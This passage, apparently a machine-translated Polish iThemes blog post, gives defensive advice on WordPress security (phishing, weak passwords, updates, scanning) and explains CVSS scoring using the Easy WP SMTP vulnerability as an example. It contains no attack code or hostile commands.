   Jeśli nie rozpoznajesz nadawcy wiadomości e-mail, nie pobieraj żadnych załączników zawartych w wiadomości e-mail, ponieważ mogą one zawierać złośliwe oprogramowanie i zainfekować komputer. Jeśli e-mail twierdzi, że pochodzi od firmy, możesz skorzystać z Google ich informacji kontaktowych, aby zweryfikować, że e-mail został od nich wysłany, zanim otworzysz jakiekolwiek załączniki.
   
   Jeśli wiadomość e-mail zawiera łącze, możesz najechać kursorem myszy na łącze, aby sprawdzić, czy adres URL wysyła Cię tam, gdzie powinien.
   
4. Uważaj na pilne prośby – częstą sztuczką stosowaną przez oszustów jest stworzenie poczucia pilności. Złośliwy e-mail może stworzyć scenariusz, który wymaga natychmiastowego działania. Im więcej masz czasu na przemyślenie, tym większa szansa, że ​​zidentyfikujesz żądanie pochodzące od oszusta.
   
   Możesz otrzymać wiadomość e-mail od swojego „szefa” z prośbą o zapłacenie dostawcy JAK NAJSZYBCIEJ lub z banku informującego Cię, że Twoje konto zostało zhakowane i wymagane jest natychmiastowe działanie.

2. Słabe referencje

Użytkownicy mogą potencjalnie stać się największą luką w zabezpieczeniach WordPressa.

Na liście skompilowanej przez Splash Data najpopularniejszym hasłem zawartym we wszystkich zrzutach danych było 123456. Zrzut danych to zhakowana baza danych wypełniona hasłami użytkowników zrzuconymi gdzieś w Internecie. Czy możesz sobie wyobrazić, ile osób w Twojej witrynie używa słabego hasła, jeśli 123456 jest najczęstszym hasłem w zrzutach danych?

Mimo że 91% ludzi wie, że ponowne używanie haseł jest kiepską praktyką, 59% ludzi nadal używa swoich haseł wszędzie! Wiele z tych osób nadal używa haseł, o których wiedzą, że pojawiły się w zrzucie bazy danych.

Hakerzy używają formy ataku typu brute force zwanej atakiem słownikowym. Atak słownikowy to metoda włamania się do witryny WordPress z powszechnie używanymi hasłami, które pojawiły się w zrzutach bazy danych. „Kolekcja nr 1? Data Breach hostowana na serwerze MEGA obejmowała 1 160 253 228 unikalnych kombinacji adresów e-mail i haseł. To jest miliard z b. Taki wynik naprawdę pomoże atakowi słownikowemu zawęzić najczęściej używane hasła WordPress.

Słabe dane uwierzytelniające sprawiają, że logowanie do WordPressa staje się łatwą do wykorzystania luką, którą hakerzy mogą wykorzystać.

Jak zapobiegać słabym poświadczeniom

Najlepszym sposobem zapobiegania słabym poświadczeniom jest utworzenie silnej polityki haseł i użycie uwierzytelniania dwuskładnikowego.

Funkcja wymagań dotyczących hasła iThemes Security Pro pozwala wymusić na członkach grupy użytkowników użycie silnego hasła , wybór czasu wygaśnięcia hasła , odrzucenie złamanych haseł i wymuszenie zmiany haseł w całej witrynie, aby wszyscy przestrzegali nowej polityki silnych haseł.

Uwierzytelnianie dwuskładnikowe to proces weryfikacji tożsamości osoby, wymagający dwóch oddzielnych metod weryfikacji. Google udostępnił na swoim blogu, że korzystanie z uwierzytelniania dwuskładnikowego może powstrzymać 100% automatycznych ataków botów.

Funkcja uwierzytelniania dwuskładnikowego iThemes Security Pro zapewnia dużą elastyczność podczas wdrażania 2fa w witrynie. Możesz włączyć dwuskładnikowość dla wszystkich lub niektórych użytkowników, a także możesz zmusić użytkowników wysokiego poziomu do korzystania z 2fa przy każdym logowaniu.

Jak chronić swoją witrynę WordPress przed lukami w WordPress?

Przyjrzyjmy się kilku praktycznym krokom, które możesz podjąć, aby chronić swoją witrynę przed lukami w WordPress.

1. Aktualizuj swoje oprogramowanie WordPress

Posiadanie podatnej wtyczki lub motywu, dla których dostępna jest poprawka, ale nie została zastosowana, jest głównym winowajcą zhakowanych witryn WordPress. Oznacza to, że większość luk jest wykorzystywana PO opublikowaniu łaty na lukę.

Wielokrotnie zgłaszane naruszenie Equifax można było zapobiec, gdyby zaktualizowali swoje oprogramowanie. W przypadku naruszenia Equifax po prostu nie było usprawiedliwienia.

Coś tak prostego jak aktualizacja oprogramowania może Cię chronić. Nie ignoruj ​​więc aktualizacji WordPress — aktualizacje są jednym z najbardziej podstawowych składników WordPressa i wszystkich zabezpieczeń internetowych.

Funkcja zarządzania wersją iThemes Security Pro umożliwia dostosowanie i zautomatyzowanie aktualizacji WordPress.

2. Śledź luki w WordPressie

Aktualizowanie wtyczek i motywów nie uchroni Cię przed każdą luką. Niektóre wtyczki i motywy zostały porzucone przez twórców, którzy je stworzyli.

Niestety, jeśli porzucona wtyczka lub motyw ma lukę, nigdy nie dostanie łatki. Hakerzy będą atakować strony internetowe, które używają tych teraz trwale podatnych na ataki wtyczek.

Jeśli masz porzuconą wtyczkę ze znaną luką w swojej witrynie, dajesz hakerom plany, których potrzebują, aby przejąć Twoją witrynę. Dlatego musisz śledzić wszystkie najnowsze luki w zabezpieczeniach.

Trudno jest śledzić każdą ujawnioną lukę w zabezpieczeniach WordPressa i porównywać tę listę z wersjami wtyczek i motywów, które zainstalowałeś na swojej stronie. Śledzenie luk w zabezpieczeniach to różnica między posiadaniem bezpiecznej strony internetowej a taką, którą hakerzy z łatwością wykorzystają.

Dobra wiadomość dla Ciebie! Śledzimy i udostępniamy każdą ujawnioną lukę w naszych raportach dotyczących luk w zabezpieczeniach WordPress.

3. Przeskanuj swoją witrynę w poszukiwaniu luk

Szybszym sposobem ochrony witryny przed łatwymi atakami hakerów jest użycie automatycznych skanów w celu sprawdzenia witryn pod kątem znanych luk w zabezpieczeniach.

Skaner witryn iThemes Security Pro to Twój sposób na zautomatyzowanie ochrony przed lukami we wszystkich witrynach WordPress. Skaner witryn sprawdza witrynę pod kątem znanych luk w zabezpieczeniach i automatycznie instaluje łatkę, jeśli jest dostępna.

Witryna iThemes Security Pro sprawdza 3 rodzaje luk w zabezpieczeniach.

1. Luki w WordPressie
2. Luki w zabezpieczeniach wtyczek
3. Luki motywu

Funkcja audytu witryny iThemes Sync Pro wykorzystuje moc Google Lighthouse do ochrony Twojej witryny. Audyt witryny sprawdza i flaguje strony zawierające frontowe biblioteki JavaScript ze znanymi lukami w zabezpieczeniach.

Powszechną praktyką dla programistów jest używanie kodu innych firm, takich jak biblioteki JS, w swoich wtyczkach i motywach. Niestety, jeśli biblioteki nie są odpowiednio utrzymywane, mogą tworzyć luki, które atakujący mogą wykorzystać do zhakowania Twojej witryny. Używanie komponentów ze znanymi podatnościami znajduje się na liście OWASP Top 10.

Audyt Strony uratował mój boczek! Utworzyłem harmonogram audytu, aby Sync Pro przeprowadzał cotygodniowe automatyczne audyty i wysyłał mi raporty z audytu pocztą elektroniczną. Utrzymuję wszystko na bieżąco i dlatego byłem zszokowany, gdy w jednym z audytów mojej witryny zobaczyłem, że używam bibliotek JavaScript ze znanymi lukami w zabezpieczeniach.

Raport wskazał mi na przestarzałą wersję jQuery w katalogu WordPress witryny, zaśmieconą znanymi lukami! Na szczęście w moim audycie Sync Pro Site Audit zauważyłem, że używam bibliotek JavaScript ze znanymi lukami w zabezpieczeniach i udało mi się rozwiązać problem, zanim moja witryna została zhakowana.

Jak zmierzyć ryzyko związane z luką w zabezpieczeniach WordPress?

Istnieje kilka rodzajów luk w zabezpieczeniach WordPressa, wszystkie o różnym stopniu ryzyka. Na szczęście dla nas, Krajowa Baza Danych Podatności – projekt Narodowego Instytutu Nauki i Technologii – posiada kalkulator systemu oceny podatności, który pozwala określić ryzyko wystąpienia podatności.

W tej sekcji przewodnika po lukach w zabezpieczeniach WordPress omówimy metryki i poziomy ważności systemu oceny luk w zabezpieczeniach. Chociaż ta sekcja jest nieco bardziej techniczna, niektórzy użytkownicy mogą uznać ją za przydatną do pogłębienia wiedzy na temat oceny luk w zabezpieczeniach WordPress i ich wagi.

Wspólne wskaźniki systemu oceny podatności WordPress

Równanie systemu oceny podatności wykorzystuje trzy różne zestawy wyników w celu określenia ogólnego wyniku dotkliwości.

1. Podstawowe metryki

Grupa metryki Base reprezentuje cechy luki, które są stałe w środowiskach użytkowników.

Metryki podstawowe są podzielone na dwie grupy: Exploitability i Impact.

1.1. Wskaźniki dotyczące możliwości wykorzystania

Ocena podatności na wykorzystanie opiera się na tym, jak trudno jest osobie atakującej wykorzystać tę lukę. Wynik jest obliczany przy użyciu 5 różnych zmiennych.

1.1.1. Wektor ataku (AV)

Wynik wektora ataku opiera się na metodzie wykorzystania luki. Wynik będzie wyższy, im bardziej osoba atakująca może się oddalić, aby wykorzystać tę lukę.

Chodzi o to, że liczba potencjalnych napastników będzie znacznie większa, jeśli luka może zostać wykorzystana przez sieć, w porównaniu z luką, która wymaga fizycznego dostępu do exploita urządzenia.

Im więcej potencjalnych napastników, tym większe ryzyko wykorzystania, a zatem punktacja wektora ataku przyznana luce będzie wyższa.

1.1.2. Złożoność ataku (AC)

Wartość złożoności jest oparta na warunkach wymaganych do wykorzystania luki. Niektóre warunki mogą wymagać zebrania większej ilości informacji o miejscu docelowym, obecności pewnych ustawień konfiguracji systemu lub wyjątków obliczeniowych.

Wynik złożoności ataku będzie wyższy, im mniejsza złożoność wymagana do wykorzystania luki.

1.1.3. Wymagane uprawnienia (PR)

Wynik wymaganych uprawnień jest obliczany na podstawie uprawnień, które osoba atakująca musi uzyskać przed wykorzystaniem luki w zabezpieczeniach. Zagłębimy się w to nieco bardziej w sekcji Uwierzytelnione a nieuwierzytelnione.

Wynik będzie najwyższy, jeśli nie są wymagane żadne uprawnienia.

1.1.4. Interakcja z użytkownikiem (UI)

Wynik interakcji użytkownika jest określany na podstawie tego, czy luka w zabezpieczeniach wymaga interakcji użytkownika, aby ją wykorzystać.

Wynik będzie najwyższy, gdy osoba atakująca nie będzie potrzebować interakcji z użytkownikiem, aby wykorzystać tę lukę.

1.1.5. Zakres

Wynik zakresu jest oparty na luce w jednym składniku oprogramowania, która ma wpływ na zasoby wykraczające poza jego zakres zabezpieczeń.

Zakres zabezpieczeń obejmuje inne komponenty, które zapewniają funkcjonalność wyłącznie dla tego komponentu, nawet jeśli te inne komponenty mają własne uprawnienia bezpieczeństwa.

Wynik jest najwyższy, gdy następuje zmiana zakresu.

1.2. Wskaźniki wpływu

Metryki Impact wychwytują bezpośrednie skutki pomyślnie wykorzystanej luki w zabezpieczeniach.

1.2.1. Poufny wpływ (C)

Ta poufna ocena wpływu mierzy wpływ na poufność informacji zarządzanych przez wykorzystywane oprogramowanie.

Wynik jest najwyższy, gdy utrata oprogramowania, którego dotyczy problem, jest największa.

1.2.2. Uczciwość (I)

Ten wynik integralności jest oparty na wpływie na integralność pomyślnie wykorzystanej luki.

Wynik jest najwyższy, gdy konsekwencje działania oprogramowania, którego dotyczy problem, są największe.

1.2.3. Dostępność (A)

Ocena dostępności jest oparta na wpływie dostępności wykorzystywanego oprogramowania.

Punktacja jest najwyższa, gdy konsekwencja dotkniętego elementu jest największa.

Obliczanie wyniku bazowego CVSS

Wynik podstawowy jest funkcją podrzędnych równań oceny wpływu i możliwości wykorzystania. Jeżeli wynik podstawowy jest zdefiniowany jako:

 If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

2. Wskaźniki wyników czasowych

Metryki Temporal mierzą aktualny stan technik exploitów, istnienie jakichkolwiek poprawek lub obejścia lub pewność co do opisu luki w zabezpieczeniach.

Oczekuje się, że wskaźniki czasowe będą się zmieniać i będą się zmieniać w czasie.

2.1. Dojrzałość kodu wykorzystania (E)

Dojrzałość kodu exploita opiera się na prawdopodobieństwie zaatakowania luki.

Im łatwiej można wykorzystać lukę, tym wyższy wynik.

2.2. Poziom naprawczy (RL)

Poziom naprawy luki w zabezpieczeniach jest ważnym czynnikiem ustalania priorytetów. Obejścia lub poprawki mogą oferować tymczasowe rozwiązania do czasu wydania oficjalnej poprawki lub uaktualnienia.

Im mniej oficjalna i trwała poprawka, tym wyższy wynik podatności.

2.3. Raport zaufania (RC)

Miernik Pewność raportu mierzy poziom pewności, że istnieje luka w zabezpieczeniach oraz wiarygodność szczegółów technicznych.

Im bardziej podatność zostanie zweryfikowana przez dostawcę lub inne renomowane źródła, tym wyższy wynik.

Obliczanie punktacji czasowego CVSS

Punktacja czasowa jest zdefiniowana jako:

 Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

3. Wskaźniki oceny środowiskowej

Metryki środowiskowe pozwalają analitykom dostosować punktację CVSS w oparciu o znaczenie zasobów IT, których dotyczy problem.

Mierniki możliwości wykorzystania i wpływu na środowisko są zmodyfikowanym odpowiednikiem mierników podstawowych i mają przypisane wartości na podstawie rozmieszczenia komponentów infrastruktury organizacyjnej. Zapoznaj się z powyższymi sekcjami dotyczącymi podstawowych danych, aby wyświetlić wartości i opisy danych dotyczących możliwości wykorzystania i wpływu.

Wskaźniki środowiskowe zawierają dodatkową grupę, Modyfikatory podskalowania wpływu.

3.1. Wskaźniki modyfikatorów podskalowania wpływu

Miary Impact Subscore Modifiers oceniają specyficzne wymagania bezpieczeństwa dotyczące poufności (CR), integralności (IR) i dostępności (AR), umożliwiając precyzyjne dostosowanie wyniku środowiskowego do środowiska użytkownika.

Obliczanie wyniku środowiskowego CVSS

Ocena środowiskowa jest zdefiniowana jako:

 If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

Ogólny wynik i ważność CVSS

Wynik CVSS (General Common Vulnerability Scoring System) jest reprezentacją wyników podstawowych, czasowych i środowiskowych.

Ogólny wynik CVSS może być wykorzystany do zorientowania się, jak poważna lub poważna jest podatność na zagrożenia.

Przykład oceny ważności CVSS w świecie rzeczywistym

W naszym podsumowaniu luk w zabezpieczeniach z grudnia 2020 r. pisaliśmy o luce we wtyczce Easy WP SMTP. Luka dnia zerowego (omówimy luki dnia zerowego w następnej sekcji) umożliwiła atakującemu przejęcie kontroli nad kontem administratora i była wykorzystywana na wolności.

Przyglądając się wpisowi National Vulnerability Database, możemy znaleźć ocenę ważności luki WP SMTP.

Podzielmy kilka rzeczy z powyższego zrzutu ekranu WP SMTP NVDB.

Wynik podstawowy : Wynik podstawowy wynosi 7,5, co oznacza, że ​​wskaźnik ważności luki jest wysoki.

Wektor : Wektor mówi nam, że wynik jest oparty na równaniach podatności CVSS 3.1 i metrykach użytych do obliczenia wyniku.

Oto część metryczna wektora.

 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Teraz użyjmy wartości i opisów metryki podstawowej z wcześniejszej części tego postu, aby zrozumieć osiem wartości metryki wektora.

1. AV:N – Oznacza to, że wektor ataku (AV) luki to sieć (N). Innymi słowy, atakujący potrzebuje jedynie dostępu do sieci, aby wykorzystać tę lukę.
2. AC:L – Złożoność ataku (AC) luki jest niska (L). Innymi słowy, każdy skryptowy dzieciak może wykorzystać tę lukę.
3. PR:N — Wymagane uprawnienia (PR) potrzebne do wykorzystania luki to Brak (N). Tak więc luka nie wymaga uwierzytelnionego użytkownika do wykorzystania. (W dalszej części tego postu omówimy różnicę między lukami uwierzytelnionymi i nieuwierzytelnionymi).
4. UI:N — Interakcja użytkownika (UI) wymagana do wykorzystania tej luki to Brak (N). Atakujący ma więc środki do samodzielnego wykorzystania luki.
5. S:U – Oznacza to, że zakres (S) podatności jest niezmieniony (U). W przypadku tej luki podatny składnik i zagrożony składnik są takie same.
6. C:H – Wpływ poufności (C) luki jest wysoki (H). Wykorzystanie tej luki powoduje całkowitą utratę poufności.
7. I:N – Wpływ na integralność (I) tej luki to Brak (N). Wykorzystanie luki nie powoduje utraty integralności ani wiarygodności wrażliwych informacji.
8. O:N – Oznacza to, że wpływ dostępności (A) jest Brak (N). Wykorzystanie luki nie wpłynie na dostępność Twojej witryny.

Wynik CVSS może nam pomóc określić wagę i zakres danej podatności. W następnych kilku sekcjach omówimy kilka ważnych terminów dotyczących luk w zabezpieczeniach, które często są zawarte w ujawnianych informacjach o lukach.

Wyjaśnienie luk w WordPressie

Sprawdź nasze webinarium na ten sam temat.

Podsumowanie: wyjaśnienie luk w WordPressie

Chociaż luki w zabezpieczeniach WordPressa są przerażające, dobrą wiadomością jest to, że większość luk w zabezpieczeniach WordPressa jest wykrywana i łatana, zanim złoczyńcy zdążą je wykorzystać.

Możesz pomóc chronić swoją witrynę przed lukami w zabezpieczeniach, aktualizując rdzeń WordPress, wtyczkę i motywy, co jest najlepszym sposobem na otrzymywanie najnowszych poprawek zabezpieczeń.

Michael Moore

Co tydzień Michael opracowuje raport na temat luk w zabezpieczeniach WordPressa, aby pomóc chronić Twoje witryny. Jako Product Manager w iThemes pomaga nam w dalszym ulepszaniu linii produktów iThemes. Jest wielkim kujonem i uwielbia uczyć się wszystkich rzeczy technicznych, starych i nowych. Możesz znaleźć Michaela spędzającego czas z żoną i córką, czytającego lub słuchającego muzyki, gdy nie pracuje.